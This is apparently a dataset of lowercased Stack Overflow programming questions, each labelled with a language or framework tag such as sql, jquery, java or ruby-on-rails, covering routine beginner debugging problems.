how to go to previous activity   this code does not go to previous activity  when button is click should do: current activity to another acitivity. if i write  finish(); works fine  but what is wrong in my code  in my 3rd activity <code>agappaskpinfortransaction</code>  when i press back button does not go to <code>agappmenu.class</code>(previous activity). what is wrong in this code  how to go to previous activity  i do not want to use  <code>finish();</code>   i just want to close current activity and go to previous activity when button clicked    <pre><code>public class loginscreen extends activity  {          intent i = new intent(this.getapplicationcontext()  agappmenu.class);            mybean bean = new mybean();          bean.set2darray(xmlrespone);          bundle b = new bundle();             b.putserializable( mybean   bean);             i.putextra( obj   b);             startactivity(i);                    public class agappmenu extends activity {                 intent intent = new intent(agappmenu.this       agappaskpinfortransaction.class);   bundle bundle = new bundle();     bundle.putstring( mno    min );     intent.putextras(bundle);  startactivity(intent);    }                public class agappaskpinfortransaction extends activity{                  btngoback.setonclicklistener(new onclicklistener() { public void onclick(view v)  { intent intent = new intent(agappmenu.this                 agappaskpinfortransaction.class);     startactivity(intent);          }                                  }); </code></pre>,android
adding multiple images with paperclip  i m having problems uploading multiple files using paper clip. i ve tried to follow this guide here <a href= http://www.railscook.com/recipes/multiple-files-upload-with-nested-resource-using-paperclip-in-rails/  rel= nofollow >guide</a>    the structure of my models are:    a user has_many trip_images    then trip_images has_attached_file :photo    i don t get any errors when trying to upload a new photo(s) but i can t make them display on a users show view. i m pretty sure that it s more than just the view that s wrong here.      error:   <pre><code>unexpected keyword_do  expecting keyword_end  ; @trip_images do |t| ^ c:/row/map/app/views/user/show.html.erb:22: syntax error  unexpected keyword_ensure  expecting end-of-input </code></pre>   so far this is what i have.    user.rb   <pre><code>has_many :trip_images  :dependent =&gt; :destroy </code></pre>   trip_image.rb   <pre><code>belongs_to :user has_attached_file :photo validates_attachment_presence :photo </code></pre>   user_controller.rb   <pre><code>    def show         @user = user.find(params[:id])         @trip_images = @user.trip_images       end           ...           def create         @user = user.new(user_params)          if @user.save           if params[:photos]               params[:photos].each { |photo|               @user.trip_images.create(photo: photo) }           end             redirect_to(:action =&gt;  index )          else           render( new )         end       end ...   private      def user_params       params.require(:user).permit(:name  :email  :trip_images  :photo)     end </code></pre>   trip_images_controller.rb <em>removed</em>   <pre><code>    def index          @user = user.find(params[:user_id])          @trip_images = @user.trip_images          respond_to do |format|           format.html # index.html.erb           format.json { render json: @trip_images }         end       end        # get /trip_images/1       # get /trip_images/1.json       def show         @trip_image = trip_image.find(params[:id])          respond_to do |format|           format.html # show.html.erb           format.json { render json: @trip_image }         end       end        # get /trip_images/new       # get /trip_images/new.json       def new         @user = user.find(params[:user_id])         @trip_image = @user.trip_images.build          respond_to do |format|           format.html # new.html.erb           format.json { render json: @trip_image }         end       end        # get /trip_images/1/edit       def edit         #@user = user.find(params[:user_id])          @trip_image = trip_image.find(params[:id])         # @trip_image = trip_image.find(params[:id])       end        # post /trip_images       # post /trip_images.json       def create         @trip_image = trip_image.new(params[:trip_image])          if @trip_image.save           respond_to do |format|             format.html {               render :json =&gt; [@trip_image.to_jq_upload].to_json                :content_type =&gt;  text/html                 :layout =&gt; false             }             format.json {               render :json =&gt; [@trip_image.to_jq_upload].to_json             }           end         else           render :json =&gt; [{:error =&gt;  custom_failure }]  :status =&gt; 304         end       end ....  private    def trip_image_params     params.require(:trip_image).permit(:description  :user_id  :photo)   end </code></pre>   user/show.html.erb   <pre><code>&lt;% @trip_images do |t| %&gt;    &lt;%= t.photo_file_name %&gt;   &lt;%= image_tag t.photo_url %&gt; &lt;% end %&gt; </code></pre>   so in the end run i want users to upload photos and then have them be visible on their respective  show  view.    thanks for your time!,ruby-on-rails
animation effect not working  i am trying to create a simple jquery slide show .the problem i am facing that when i use fade-out it works properly but when i am trying to use animate to slide all the images to the right it s not working .. my jquery code so far     html:    <pre><code>&lt;div id = slide &gt; &lt;ul&gt;     &lt;li&gt;&lt;a href= # &gt;img1&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;img2&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;   $(document).ready(function (){           $( #slide ).each(function (){               $(this).animate ({left: 700px } 4000)});       });  }); </code></pre>   i am new to jquery so please excuse me for this poor code .want to to know what am i doing wrong ! thanks in advanced for the help,jquery
sending image with other details in mail body  i am trying to send product details i email body but image is not getting display     system.net.mail.mailmessage mail = new system.net.mail.mailmessage();                 string to = user2  userid  password  smtpport  host;   <pre><code>            mail.to.add(to);             mail.from = new mailaddress( emailid );             string subject =  order confirmation - your order with kasmiriproducts.com [order1234567] has been successfully placed! ;              stringbuilder sb = new stringbuilder();             sb.append( &lt;b&gt;hi   + firstname +     + lastname +  &lt;/b&gt;&lt;br /&gt; );             sb.append( thank you for your order!&lt;br /&gt; );             sb.append( please find below  the summary of your order order1234567&lt;br /&gt;&lt;hr&gt; );             sb.append( &lt;section class= cart-area &gt;&lt;div class= container &gt;&lt;div id= cart &gt;&lt;div id= popupcart  class= table-responsive &gt;&lt;table class=   cellpadding= 10  cellspacing= 10 &gt;&lt;tr class= cartheaders &gt;&lt;th class= itemimage &gt;image&lt;/th&gt;&lt;th class= itemname &gt;name&lt;/th&gt;&lt;th class= itemproductsize &gt;productsize&lt;/th&gt;&lt;th class= itemprice &gt;price&lt;/th&gt;&lt;th class= itemquantity &gt;quantity&lt;/th&gt;&lt;th class= itemsub total(&amp;amp;#8377;) &gt;sub total(₹)&lt;/th&gt;&lt;/tr&gt; );                  foreach (var x in order)             {                 sb.append( &lt;tr class= itemcontainer &gt; );                 sb.append( &lt;td class= itemimage &gt;&lt;img src= ../images/  + x.product.image +   &gt;&lt;/td&gt; );                 sb.append( &lt;td class= itemname &gt;  + x.product.productname +  &lt;/td&gt; );                 sb.append( &lt;td class= itemproductsize &gt;  + x.psize.size +  &lt;/td&gt; );                 sb.append( &lt;td class= itemprice &gt;  + x.productsize.price +  &lt;/td&gt; );                 sb.append( &lt;td class= itemquantity &gt;  + x.quantity +  &lt;/td&gt; );                 sb.append( &lt;td class= itemsub total(&amp;amp;#8377;) &gt;  + x.quantity +  &lt;/td&gt; );                 sb.append( &lt;/tr&gt; );                                      }             sb.append( &lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt; );             viewbag.testing = sb.tostring();             mail.body = sb.tostring();             mail.isbodyhtml = true;             mail.subject = subject;             smtpclient sc = new smtpclient( smtp.gmail.com );             sc.enablessl = true;             sc.usedefaultcredentials = false;             sc.credentials = new system.net.networkcredential( emailid                    password );             sc.send(mail); </code></pre>,.net
checking whether the first row field equals variable  i have a sql select like so(simplified)   <pre><code>select e.user_id  from users e inner join league_point p on e.point_id = p.id group by e.user_id </code></pre>   i m creating a points table sorted by user_id. what i need to know is  how can you check whether the first row in a table equals a given value. for instance  checking whether the top ranked user equals a declared value.,sql
redirect not working as i m expecting in rails  environment:   <pre><code>rails: 3.2.12 ruby: ruby 1.9.3p125 (2012-02-16 revision 34643) [x86_64-linux] </code></pre>   in my routes.rb  i have:   <pre><code>match  /attendance   to:  attendance#attendance_dashboard  match  /check_in   to:  attendance#check_in  </code></pre>   in my attendance_controller.rb  i have:   <pre><code>def attendance_dashboard     @registered_and_not_checked_in = get_registered_and_not_checked_in() end  def check_in     logger.info( email: #{params[ party ][ email ]} )     redirect_to attendance_url end </code></pre>   when i do to myapp/attendance  it behaves like it should and displays a table with the last field in every row being a link to the attendance controller s check_in action and the params include the hash party.    when i click on the link  i 404. specifically  here s what the test.log says (the logger info is to make sure i am not bombing up until the redirect):   <pre><code>processing by attendancecontroller#check_in as html   parameters: { party =&gt;{ email =&gt; rrrrr.rrr@gmail.com    event_id =&gt; 3    first =&gt; rrr    last =&gt; rrrrr    payment =&gt; 0.0    transaction_id =&gt;  }}   [1m[35mblogpost load (0.4ms)[0m  select `blog_posts`.* from `blog_posts`    [1m[36muser load (0.4ms)[0m  [1mselect `users`.* from `users` where `users`.`id` = 2 limit 1[0m email: rrrrr.rrr@gmail.com completed 404 not found in 5ms </code></pre>   i also tried the following redirect syntax:   <pre><code>    redirect_to attendance_path </code></pre>   what am i missing    <h1>routes:</h1>   this is the output of rake route:   <pre><code>         /attendance(.:format)  attendance#attendance_dashboard check_in        /check_in(.:format) attendance#check_in </code></pre>   note that unlike check_in  there is no  path  even though the syntax in routes.rb is the same,ruby-on-rails
how to store multiple pattern parameter in variable and print ihe values of that variable in javascript  i have <strong>str</strong> variable in that string is there    var str =  the <strong>1_raj</strong> in spain stays mainly<strong>3_raj</strong> in <strong>1_raj</strong>the plain <strong>2_raj</strong> <strong>4_raj</strong> <strong>6_raj</strong>_<strong>1_raj</strong> ;     var res = str.match(/1_raj/g);    i want to store( 1_raj 2_raj 3_raj 4_raj ...etc ) in <strong>res</strong> variable so that i can get diffirent(1_raj 2_raj 3_raj ...) values in variable <strong>res</strong>    thanks,javascript
create a hyperlink that opens multiple images in one page using html  how can i create a clickable link that opens multiple images in one page only  i host all my images in photobucket. i was able to create a link to open one image only but not multiple images simultaneously.,html
iphone - uiimageview not showing up  i have created a uiimageview in interface builder. when i run the application on the simulator the image shows up  when i run the application on the device the image doesn t show up. any help is welcome. thank you!!!,iphone
what does this character mean in an sql query  <pre><code>&lt;&gt; </code></pre>   what does this character mean when placed in an sql query,sql
i want to add category to class class in objective-c  i made this method   <pre><code>-(nsmutablearray *)getproperties:(id)c {     nsstring *propertyname;     unsigned int outcount  i;     nsmutablearray *propertienames = [[nsmutablearray alloc] initwithobjects: nil];      objc_property_t *properties = class_copypropertylist(c  &amp;outcount);     for (i = 0; i &lt; outcount; i++) {         objc_property_t property = properties[i];         propertyname = [nsstring stringwithutf8string:property_getname(property)];         [propertienames addobject:propertyname];     }     return propertienames; } </code></pre>   i use this   <pre><code>nsmutablearray *propertiesnames = [self getproperties:[self class]]; </code></pre>   i want to use this   <pre><code>nsmutablearray *propertiesnames = [[self class] getproperties]; </code></pre>   how to add category to class class.　maybe class class is not object....    i try add category to class   <pre><code>#import  class+sn.h   @implementation class (sn)  @end </code></pre>   i got error    <pre><code>cannot find interface declaration for  class  </code></pre>,objective-c
positive powers of k in long data type  i have to print all the positive powers of integer k in the java <strong>long</strong> data type. my code is:   <pre><code>int k = integer.parseint(args[0]);     int i = 1;     long a = k;     while (a &lt;= long.max_value) {         system.out.print(i +    );         system.out.println(a);         i++;         a = (long) math.pow(k  i);       } </code></pre>   an infinite loop is created when i run this program.    but when i run this program with a small change :(i have just removed the equals to operator in <strong>while</strong> condition)   <pre><code>int k = integer.parseint(args[0]);     int i = 1;     long a = k;     while (a &lt; long.max_value) {         system.out.print(i +    );         system.out.println(a);         i++;         a = (long) math.pow(k  i);        } </code></pre>   it works fine as far as i think after that small change. but i am not able to understand what is happening here.,java
create row if column does not consist id from another column  i have database which contain three tables <code>product</code>  <code>product_size</code> (variations) and <code>handbook</code>. <code>product</code> contains all data about the product  <code>handbook</code> knows which size i have and <code>product_size</code> contain information about products which have size(s) from handbook and also contain <code>size_value</code>.    so i need to insert values in column <code>product_size</code> where size_price will contain price of product  handbook_id = 666 and product_id is id of products which doesn t have product size. is there any way to do that     <strong>product</strong>   <pre><code>id price name </code></pre>   <strong>product_size</strong>   <pre><code>id product_id handbook_id size_price </code></pre>   <strong>handbook</strong>   <pre><code>id name </code></pre>,sql
using jquery to manipulate html  i m trying to create a javascript function that receives a string that is assumed to be html and removes all elements which would not be visible.  i m not operating on the page here  just a string of html from anywhere.    at first it seemed using the :hidden selector would have been ideal  but i couldn t get that to work.  so i started playing with filter()  but haven t had success.   <pre> function stripinvisiblenodes(html) {     var container =    + html+   ;     //var $onlyvisiblehtml = $(container).find( :hidden ).remove(); // didn t work     var $onlyvisiblehtml = $(container).find( * ).filter(function() { return this.style.display ==  none ; }).remove();     var removed = $onlyvisiblehtml.html();     return removed; } </pre>   update:  the following is the working solution   <pre> function stripinvisiblenodes(html) {     $( body ).append( &lt;div id= tempspace  style= visibility:hidden >  + content +  &lt;/div> );     var $toremove = $( #tempspace ).find( * ).filter( :hidden );      $toremove.remove();     var resultstring = $( #tempspace ).html();     $( #tempspace ).remove();     return resultstring; } </pre>,jquery
how is this list expanded with the slicing assignment   i came across the following code (sort of):   <pre><code>my_list = [1  [2  3  4]  5] my_list[1:2] = my_list[1] </code></pre>   after running these two lines  the variable <code>my_list</code> will be <code>[1  2  3  4  5]</code>. pretty useful for expanding nested lists.    but why does it actually do what it does     i would have assumed that the statement <code>my_list[1:2] = my_list[1]</code> would do one of the following:   <ul> <li>simply put <code>[2  3  4]</code> into the second position in the list (where it already is)</li> <li>give some kind of  too many values to unpack  error  from trying to put three values (namely 2 3 4) into a container of only length 1 (namely <code>my_list[1:2]</code>). (repeating the above with a numpy array instead of a list results in a similar error.)</li> </ul>   other questions (e.g. <a href= https://stackoverflow.com/questions/10623302/how-assignment-works-with-python-list-slice >how assignment works with python list slice</a>) tend to not pay much attention to the discrepancy between the size of the slice to be replaced  and the size of the items you re replacing it with. (let alone explaining why it works the way it does.),python
how to draw 6 boxes and after the first 3 change the position of the final 3  i m trying to draw 6 boxes with a for loop  i would like to have the first three boxes be drawn at a curtain x and y coordinate then after the first 3 have been drawn draw the final 3 at the same x coordinate but at a different y coordinate.    more detail: boxes have the same width and height would like to have 10 px of space between each needs to be repeatable for an infinite amount of boxes   <pre><code>for(int i = 0; i &lt; bricks.length; i++) {     bricks[i].setsize(size);     if(i &lt;= 2) {         bricks[i].setposition(i * (size + 10) + 180  20);        }     bricks[i].setstate(brickstate.white); } </code></pre>,java
how to set inner html through a html tag with angularjs   in my html i use a layout like this:   <pre><code>&lt;h2&gt;{{translation.settings}}&lt;/h2&gt; </code></pre>   as you might guess  i am using a multi language setup.    now  for some reason i am required to bind the angularjs controllers later than normal and so for a brief moment <code>{{translation.settings}}</code> is rendered on my page.    obviously this is not preferable.    i have been working with knockout for a while and one way to handle such a inconvenience is to set the element s value through a html tag  e.g.:   <pre><code>&lt;h2 data-bind= text: translation.settings &gt;&lt;/h2&gt;  </code></pre>   is there a way in angularjs to set the inner element s text-value through a html-tag     or  since this is a possible xy problem  can i suppress the rendering of <code>{{translation.settings}}</code> in the <code>&lt;h2&gt;</code> element,angularjs
rails: why is only one email sent to the last member of a loop   i am very much a rails novice!    i am trying to write a method for a kind of on-line committee meeting.  there are a fixed number(9) of users. when a user proposes a topic for discussion and/or voting the submit button needs to send an email to all members.     in   app/mailers/user_mailer.rb i have:-   <pre><code>class usermailer &lt; applicationmailer    def new_topic_alert(topic)     @users = user.all     @users.each do |user|       mail to: user.email  subject:  new topic alert      end   end end </code></pre>   as part of app/controllers/topics_controller.rb i have:-   <pre><code>def send_alert   @topic = topic.new(topic_params)   usermailer.new_topic_alert(@topic).deliver_now end </code></pre>   and:-   <pre><code>def create   @topic = topic.new(topic_params)   if @topic.save     send_alert     flash[:info] =  new topic alert emails sent.      redirect_to root_url   else     render  new    end end </code></pre>   please  why does the loop in user_mailer only send an email to the final person of the list.  by incorporating  byebug  i have shown that it goes through all the user emails.,ruby-on-rails
not all of the font weights are working (local font  helvetica neue) on my website  i have a mac  which means i have helvetica neue preloaded locally. i can use it on website mockups i create  however 600 italic and 300 normal do not render on said websites  instead they simply render as 600 normal and 200 normal respectively.    i can use both of these font weights/styles just fine on pages for example... additionally  this happens on multiple macs and multiple versions of os x  so it seems like every single mac in the world has this issue... it doesn t make sense  though  because all of the font variants are right there  100  200  300  400  etc...     any ideas     edit: i can get 300 normal and 600 italic to work if i use @font-face to point to a css file for a font i made up ( duplicate neue )  which in-turn points to the .woff files for helvetica neue s variants... still  if the fonts are local  why won t they render!,css
why can t i use a local variable inside of a using block   i m still learning the particulars of c# so please forgive me if this rudimentary.  i have been looking for an answer to this but haven t found one.    i have declared the local variable (in my function):    <pre><code>string myvar; </code></pre>   i keep getting the error   use of unassigned local variable  when i try to return it:   <pre><code>return (myvar); </code></pre>   what am i doing wrong here       <pre><code>public string getsomethingfromdb() {     string connectionstring;     string sql;     string myvar;      connectionstring =  data source=myserver; port=myport; user id=someuser; password=mypassword; database=mydatabase ;     sql =  select something from something ;     using (aseconnection conn = new aseconnection(connectionstring))     {         using (asecommand cmd = new asecommand(sql  conn))         {             try             {                 conn.open();                 using (asedatareader reader = cmd.executereader())                 {                     while (reader.read())                     {                         myvar= reader.getstring( column1 ).trim();                     }                     reader.close();                     reader.dispose();                 }                 conn.close();                 conn.dispose();                 cmd.dispose();                 return (myvar);             }             catch (aseexception ex)             {                 //do some stuff             }             finally             {                  //do some stuff             }         }     } }  </code></pre>,c#
"how to make notification box float in the center  using bulma css framework  i try to make the notification box popup at about the center of the page  without interrupting existing data (it is a notification that pops for 3 seconds and then it should disappear). for example: 2 images on top of each other(snippet 1)  and i want the notification box to float on top of them without pushing any content(snippet 2)    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.1/css/bulma.min.css  rel= stylesheet  /&gt;
 
 &lt;div class= container &gt;
   &lt;div class= level main &gt;
     &lt;div class= level-item &gt;
       &lt;figure class= image is-128x128 &gt;
         &lt;img src= https://bulma.io/images/placeholders/128x128.png &gt;
       &lt;/figure&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 &lt;/div&gt;
 &lt;div class= container &gt;
   &lt;div class= level main &gt;
     &lt;div class= level-item &gt;
       &lt;figure class= image is-128x128 &gt;
         &lt;img src= https://bulma.io/images/placeholders/128x128.png &gt;
       &lt;/figure&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.1/css/bulma.min.css  rel= stylesheet  /&gt;
 
 &lt;div class= container &gt;
   &lt;div class= level main &gt;
     &lt;div class= level-item &gt;
       &lt;figure class= image is-128x128 &gt;
         &lt;img src= https://bulma.io/images/placeholders/128x128.png &gt;
       &lt;/figure&gt;
     &lt;/div&gt;
   &lt;/div&gt;
   &lt;div class= notification is-primary &gt;
     &lt;button class= delete &gt;&lt;/button&gt; primar lorem ipsum dolor sit amet  consectetur adipiscing elit lorem ipsum dolor. &lt;strong&gt;pellentesque risus mi&lt;/strong&gt;  tempus quis placerat ut  porta nec nulla. vestibulum rhoncus ac ex sit amet fringilla. nullam
     gravida purus diam  et dictum &lt;a&gt;felis venenatis&lt;/a&gt; efficitur. sit amet  consectetur adipiscing elit
   &lt;/div&gt;
 &lt;/div&gt;
 &lt;div class= container &gt;
   &lt;div class= level main &gt;
     &lt;div class= level-item &gt;
       &lt;figure class= image is-128x128 &gt;
         &lt;img src= https://bulma.io/images/placeholders/128x128.png &gt;
       &lt;/figure&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
find records in one table which doesn t exist in other given a certain date  so i have 2 tables.   <ol> <li>employees - primary table</li> <li>emp_attend - child table</li> <li>emp_id - is the primary key for employees table &amp; foreign key for emp_attend</li> </ol>   i want to select all the data that exists in employees but does not exist in emp_attend. i am able to do that with this query:   <pre><code>string selectquery =  select \n  +                               employees.emp_id  employees.first_name  employees.last_name \n  +                               from employees \n  +                               left join emp_attend on emp_attend.emp_id = employees.emp_id \n  +                               where emp_attend.emp_id is null ; </code></pre>   now  how can i include that it only selects the data that does not exist in employees table given a certain date from emp_attend table   <pre><code>string selectquery =  select \n  +                               employees.emp_id  employees.first_name  employees.last_name \n  +                               from employees \n  +                               left join emp_attend on emp_attend.emp_id = employees.emp_id \n  +                               where emp_attend.emp_id is null or emp_attend.date !=   ; </code></pre>   i tried the above query but it displays all the employees.    for example for 1/5/2018 it shows all the employees that have not yet been listed in emp_attend table.    hope you can help me thanks.,sql
i m confused which tech i used asp.mvc or wcf for my project  i have basic knowledge of asp.net and i want develop the project.so m confused between wcf and asp.mvc which is good for my project. i read description of both but cant get solution. could someone please help me as soon as possible.    project description- collection of data from different site(location) through wireless communication(gprs communication) and store the data on oracle 10g. and i want show the history reports and trends . how i show reports  like in windows application (crystal report and rdlc),asp.net
sql - searching in a table based on information in another table and returning multiple results  i have one table  trace  which contains the following information:   <pre><code>|  galaxyid  |  lastprogenitorid  | ----------------------------------- |  0         |  27                | |  2890      |  3001              | |  ...       |  ...               | |  189279    |  190056            | ----------------------------------- </code></pre>   and i have another table  main  which includes the following:   <pre><code>|  galaxyid  |  stellarmass  |  umag  |  imag  | ------------------------------------------------ |  25        |  10.5         |  -21   |  -22   | |  2901      |  10.8         |  -23   |  -21   | |  3000      |  10.0         |  -22   |  -21   | |  ...       |  ...          |  ...   |  ...   | |  200000    |  10.1         |  -22   |  -22   | ------------------------------------------------ </code></pre>   what i wish to do is  for each trace.galaxyid  retrieve all the corresponding rows in maintable where the following condition is met:   <pre><code>main.galaxyid between trace.galaxyid and trace.lastprogenitorid </code></pre>   this could return multiple results  such that the results would be (from the example above):   <pre><code>|  trace.galaxyid  |  main.galaxyid  |  main.umag  |  main.imag  | ------------------------------------------------------------------ |  0               |  25             |  -21        |  -22        | |  2890            |  2901           |  -23        |  -21        | |  2890            |  3000           |  -22        |  -21        | ------------------------------------------------------------------  </code></pre>   i feel like this is an easy one but my brain just can t see how to do this! i feel like partition by is needed  any help greatly appreciated. thanks in advance.,sql
best way to sanitize user input  what is the best way to sanitize input in asp.net application using whitelisting of characters,asp.net
python get json keys as full path  i want to parse a json file and get the full a list containing all the required paths to access keys. if we use the keys method we get a list of individual keys but not the full list of hierarchical keys needed to access the data.    so if given data as such   <pre><code>data = {      glossary : {          title :  example glossary            glossdiv : {              title :  s                glosslist : {                  glossentry : {                      id :  sgml                        sortas :  sgml                        glossterm :  standard generalized markup language                        acronym :  sgml                        abbrev :  iso 8879:1986                        glossdef : {                          para :  a meta-markup language  used to create markup languages such as docbook.                            glossseealso : [ gml    xml ]                     }                       glosssee :  markup                  }             }         }     } } </code></pre>   i could return a list like below containing all the full paths to the keys.   <pre><code>[[ glossary ][ title ] [ glossary ][ glossdiv ]...] </code></pre>   reading and accessing elements is fine. to acheive the result i have tried to use this so answer <a href= https://stackoverflow.com/a/14692747 >access nested dictionary items via a list of keys</a>    i don t really understand how this works and it returns only the word  glossary .    this is my code. i was using chainmap as it made it easier to convert json to a dictionary and easily access keys.   <pre><code>import json from collections import chainmap from functools import reduce import operator  mydatachained = chainmap(data)  def getfromdict(data):     return reduce(operator.getitem  data)  json_paths = getfromdict(mydatachained) print(json_paths) </code></pre>,python
writing a new jquery plugin <pre><code>&lt;table class= data  border= 1 &gt;     &lt;tbody&gt;         &lt;tr&gt;         &lt;/tr&gt;             &lt;td&gt;&lt;input type= checkbox  /&gt;&lt;/td&gt;          &lt;tr&gt;             &lt;td&gt;&lt;input type= checkbox  /&gt;&lt;/td&gt;          &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;&lt;input type= checkbox  /&gt;&lt;/td&gt;         &lt;/tr&gt;             &lt;/tbody&gt; &lt;/table&gt; </code></pre>   while iterating through each <code>tr</code> element  check whether the given <code>&lt;tr&gt;</code> element has a checked checkbox  if so add the new class. if not  remove it.   <pre><code>jquery.fn.deletemark = function() {     this.each(function() {         alert( $( input:checkbox  this) );         if ($( checkbox  this).is( :checked )){             $(this).addclass( delemarked );         }         else{             $(this).removeclass( delemarked );         }    }) }; </code></pre>   now i want to add a class to each <code>tr</code> that is checked:   <pre><code>function refresh(){     $( .data tbody tr ).each(function() {         $(this).deletemark();     });         } </code></pre>   sadly this doesn t work for me. i will be grateful for any help.,jquery
program in c crashes  my code seems to crash everytime i run it  i want to make a program that finds a capital letter in a sentence (str[max]) and it prints out how many times it finds it     i get a warning from the build log (warning:  c  may be used uninitialized in this function)  (very entry level programmer here !!)    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include  genlib.h  #include  simpio.h  #include  ctype.h    #define max 26  void checktimes(char str[] char temp);  int main() { char str[max]  temp; printf( type a sentence with 25 characters max : ); gets(str);  int i; for(i=0;i&lt;=max;i++) { temp = str[i];  if(isupper(temp))     checktimes(str temp); }  return 0; }  void checktimes(char str[] char temp) { int j i; char c; for(j=0; j&lt;=max ; j++) {     str[i] = c;     if(c == temp)         i++; } printf( %c --&gt; %d  temp i); </code></pre>   },c
can anyone (including google) get a list of the files on the server that holds my website  <ol> <li>if i have an html file on a web server without any links in it and without any links pointing to it <em>anywhere</em>  will google be able to see it  will google be able to promote it </li> </ol>,html
disable some easytabs  i want to disable some easytabs  but i have found no way of preventing the user to enter the disabled tabs. how can i do that     this is what my tab set looks like: <img src= https://i.stack.imgur.com/fryef.png  alt= enter image description here >    when i press the button to disable b &amp; c  i set the style  disabled  on two tabs and try to return false upon mouse clicks on them. the disabled appeareance is what i want:    <img src= https://i.stack.imgur.com/1985i.png  alt= enter image description here >    but tabs can still be selected.    why     i have tried to control clicks on both li and a.    <a href= http://jsfiddle.net/8vkf8/  rel= nofollow noreferrer >http://jsfiddle.net/8vkf8/</a>    html:   <pre><code>&lt;div id= tab-container  class= tab-container &gt;   &lt;ul class= etabs &gt;     &lt;li class= tab &gt;&lt;a href= #a &gt;a&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab &gt;&lt;a href= #b &gt;b&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab &gt;&lt;a href= #c &gt;c&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab &gt;&lt;a href= #d &gt;d&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;   &lt;div class= panel-container &gt;     &lt;div id= a &gt;       1st page     &lt;/div&gt;     &lt;div id= b &gt;       2nd page     &lt;/div&gt;     &lt;div id= c &gt;       3rd page     &lt;/div&gt;     &lt;div id= d &gt;       4th page     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;button onclick= on_disable_b_and_c_clicked() &gt;disable b &amp;amp; c&lt;/button&gt; &lt;button onclick= enable_all() &gt;enable&lt;/button&gt; </code></pre>   js:   <pre><code>$(function() {   var tabs = $( #tab-container );   tabs.easytabs({ animate: false });   });  function on_disable_b_and_c_clicked() {   var tabs = $( #tab-container );   disable_easytabs(tabs  [1 2]);   return false; }  function enable_all() {   var tabs = $( #tab-container );   disable_easytabs(tabs  []); }  function disable_easytabs(tabs  indexes) {     var lis = tabs.children( ul ).children();     var index = 0;     lis.each(function()     {         var li = $(this);         var a = li.children( a );         var disabled = $.inarray(index  indexes) != -1;         if (disabled)         {             li.addclass( disabled );             li.on( click   returnfalse);         }         else         {             li.removeclass( disabled );             li.off( click   returnfalse);         }         index++;     }); }  function returnfalse(e) {   return false; } </code></pre>   css:   <pre><code>.etabs {   margin: 0;   padding: 0; }  .tab {   top: 1px;   padding: 6px 10px;   display: inline-block; zoom:1;   *display:inline;   background: #eee;   border: solid 1px #999;   border-bottom: none; }  .tab a {   text-decoration: none;   display: block;   padding: 0 10px;   outline: none; } .tab a:hover {   text-decoration: none; }  .tab.active {   background: #fff;   padding-top: 6px;   position: relative;   border-color: #666; }  .tab a.active {   text-decoration: none; }  .tab-container .panel-container {   height: 140px;   background: #fff;   border: solid #666 1px;   padding: 10px; }  a {   color: #000; }  ul.etabs li.disabled a {   color: #aaa;   cursor: default; } </code></pre>,jquery
angularjs - how to load ng-view based on the url   i have been following the angularjs tutorials on codeschool.    so i have <code>views/index.html</code> which contains all of my boilerplate code that is identical for each page. then my templates for each page are in <code>views/templates/</code> which i want included in the <code>index.html</code> page. so when the home page loads  it loads the <code>views/index.html</code> and includes the <code>views/templates/index.html</code>.   <ul> <li>views/  <ul> <li>index.html</li> <li>templates/  <ul> <li>index.html</li> <li>contact.html</li> <li>about.html</li> </ul></li> </ul></li> </ul>   currently i have    <pre><code>    &lt;div id= menu &gt;         &lt;a id= menu_home  href= /#/index  ng-click= menu.set(0)  ng-class= {current:menu.isset(0)} &gt;home&lt;/a&gt;         &lt;a id= menu_hire  href= /#/hire  ng-click= menu.set(1)  ng-class= {current:menu.isset(1)} &gt;for hire&lt;/a&gt;         &lt;a id= menu_info  href= /#/info  ng-click= menu.set(2)  ng-class= {current:menu.isset(2)} &gt;info&lt;/a&gt;     &lt;/div&gt;     &lt;div id= main &gt;         &lt;ng-view&gt;&lt;/ng-view&gt;     &lt;/div&gt; </code></pre>   which works great. so only the required html is requested and inserted into the page.    but my problem is that the url doesn t change in the browser. so if a user went directly to <code>mysite.com/contact</code> it wouldn t work. how can i load the page correctly if the <code>mysite.com/contact</code> or <code>mysite.com/about</code> pages are accessed directly     i have also got it working using the <code>ngroute</code> module  but the same issue remains when a user goes directly to a page.    thanks.,angularjs
jquery - $.ajax contenttype problem in firefox  i am using following code to make a cross domain json request    <pre><code>$.ajax({                 type: post                   crossdomain:true                  contenttype:  application/json; charset=utf-8                   data: {                     domain:  domain                       assettypes:  article                       sortby:  mostreadcounter_total                       pagesize:  3                       format:  json                       apikey:  apikey                  }                  url:  http://www.sample.com/search                   datatype:  json                   success: callsucceed                  failure: callfail                  beforesend: function(x) {                     if (x &amp;&amp; x.overridemimetype) {                         x.overridemimetype( application/json;charset=utf-8 );                     }                 }               }); </code></pre>   but my call is failing. in fiddler i see the the content type as  text/html; charset=utf-8  while i am explicitly setting contenttype as  application/json;charset=utf-8.      when i access the api using browser  it works fine and fiddler shows the proper content type. but as soon as i make the request using jquery  my content type switches to text/html and my request fails with a 405 error (method not allowed.)     this is happening only in firefox 3.6 and not in ie :( i ahve tried both get/post methods  i have tried adding and removing the code in   beforesend  but to no avail.    any suggestions,jquery
